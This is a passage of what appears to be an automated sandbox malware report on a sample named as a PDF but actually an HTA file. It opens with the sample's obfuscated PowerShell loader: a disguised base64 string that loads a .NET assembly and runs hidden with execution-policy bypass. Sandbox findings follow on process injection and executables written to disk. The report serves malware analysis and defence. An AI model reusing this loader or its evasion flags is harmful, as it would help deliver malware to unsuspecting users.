€bgBk€€C€€€€PQ€€g€€CQ€€aQBt€€GE€€ZwBl€€FQ€€ZQB4€€HQ€€LgBT€€HU€€YgBz€€HQ€€cgBp€€G4€€Zw€€o€€CQ€€cwB0€€GE€€cgB0€€Ek€€bgBk€€GU€€e€€€€s€€C€€€€J€€Bi€€GE€€cwBl€€DY€€N€€BM€€GU€€bgBn€€HQ€€a€€€€p€€Ds€€J€€Bj€€G8€€bQBt€€GE€€bgBk€€EI€€eQB0€€GU€€cw€€g€€D0€€I€€Bb€€FM€€eQBz€€HQ€€ZQBt€€C4€€QwBv€€G4€€dgBl€€HI€€d€€Bd€€Do€€OgBG€€HI€€bwBt€€EI€€YQBz€€GU€€Ng€€0€€FM€€d€€By€€Gk€€bgBn€€Cg€€J€€Bi€€GE€€cwBl€€DY€€N€€BD€€G8€€bQBt€€GE€€bgBk€€Ck€€Ow€€k€€Gw€€bwBh€€GQ€€ZQBk€€EE€€cwBz€€GU€€bQBi€€Gw€€eQ€€g€€D0€€I€€Bb€€FM€€eQBz€€HQ€€ZQBt€€C4€€UgBl€€GY€€b€€Bl€€GM€€d€€Bp€€G8€€bg€€u€€EE€€cwBz€€GU€€bQBi€€Gw€€eQBd€€Do€€OgBM€€G8€€YQBk€€Cg€€J€€Bj€€G8€€bQBt€€GE€€bgBk€€EI€€eQB0€€GU€€cw€€p€€Ds€€J€€B0€€Hk€€c€€Bl€€C€€€€PQ€€g€€CQ€€b€€Bv€€GE€€Z€€Bl€€GQ€€QQBz€€HM€€ZQBt€€GI€€b€€B5€€C4€€RwBl€€HQ€€V€€B5€€H€€€€ZQ€€o€€Cc€€RgBp€€GI€€ZQBy€€C4€€S€€Bv€€G0€€ZQ€€n€€Ck€€Ow€€k€€G0€€ZQB0€€Gg€€bwBk€€C€€€€PQ€€g€€CQ€€d€€B5€€H€€€€ZQ€€u€€Ec€€ZQB0€€E0€€ZQB0€€Gg€€bwBk€€Cg€€JwBW€€EE€€SQ€€n€€Ck€€LgBJ€€G4€€dgBv€€Gs€€ZQ€€o€€CQ€€bgB1€€Gw€€b€€€€s€€C€€€€WwBv€€GI€€agBl€€GM€€d€€Bb€€F0€€XQ€€g€€Cg€€JwBk€€Eg€€a€€€€w€€Ew€€bQBw€€Ho€€YQBI€€Fo€€bgBh€€Ec€€c€€€€0€€Fk€€agBR€€DI€€WgBY€€E4€€a€€BZ€€G0€€VgB1€€GE€€W€€Bw€€DE€€WQB5€€Dg€€M€€BO€€Ho€€RQB1€€E4€€egBN€€HU€€TgBE€€FU€€eQBM€€Go€€VQ€€0€€E0€€Uw€€4€€HY€€TwBu€€EI€€M€€Bk€€Ec€€Zw€€9€€Cc€€I€€€€s€€C€€€€JwBk€€GY€€Z€€Bm€€GQ€€Jw€€g€€Cw€€I€€€€n€€GQ€€ZgBk€€GY€€Jw€€g€€Cw€€I€€€€n€€GQ€€ZgBk€€GY€€Jw€€g€€Cw€€I€€€€n€€GQ€€YQBk€€HM€€YQ€€n€€C€€€€L€€€€g€€Cc€€Z€€Bl€€Cc€€I€€€€s€€C€€€€JwBj€€HU€€Jw€€p€€Ck€€';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('€€','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD

Resumed a suspended thread in a remote process potentially indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 3068 resumed a thread in remote process 1776
NtResumeThread Oct. 31, 2023, 5:43 p.m.	thread_handle: 0x0000000000000368 suspend_count: 1 process_identifier: 1776	1	0	0

Creates a suspicious Powershell process (6 events)

option	-noprofile	value	Does not load current user profile
option	-windowstyle hidden	value	Attempts to execute command with a hidden window
option	-noprofile	value	Does not load current user profile
option	-windowstyle hidden	value	Attempts to execute command with a hidden window
option	-noprofile	value	Does not load current user profile
option	-windowstyle hidden	value	Attempts to execute command with a hidden window

The process powershell.exe wrote an executable file to disk (20 events)

file	C:\Windows\System32\ie4uinit.exe
file	C:\Program Files\Windows Sidebar\sidebar.exe
file	C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file	C:\Windows\System32\xpsrchvw.exe
file	C:\Windows\System32\displayswitch.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file	C:\Windows\System32\mblctr.exe
file	C:\Windows\System32\mstsc.exe
file	C:\Windows\System32\SnippingTool.exe
file	C:\Windows\System32\SoundRecorder.exe
file	C:\Windows\System32\dfrgui.exe
file	C:\Windows\System32\msinfo32.exe
file	C:\Windows\System32\rstrui.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file	C:\Program Files\Windows Journal\Journal.exe
file	C:\Windows\System32\MdSched.exe
file	C:\Windows\System32\msconfig.exe
file	C:\Windows\System32\recdisc.exe
file	C:\Windows\System32\msra.exe
file	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

XLARFQ77802578790.pdf.hta

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All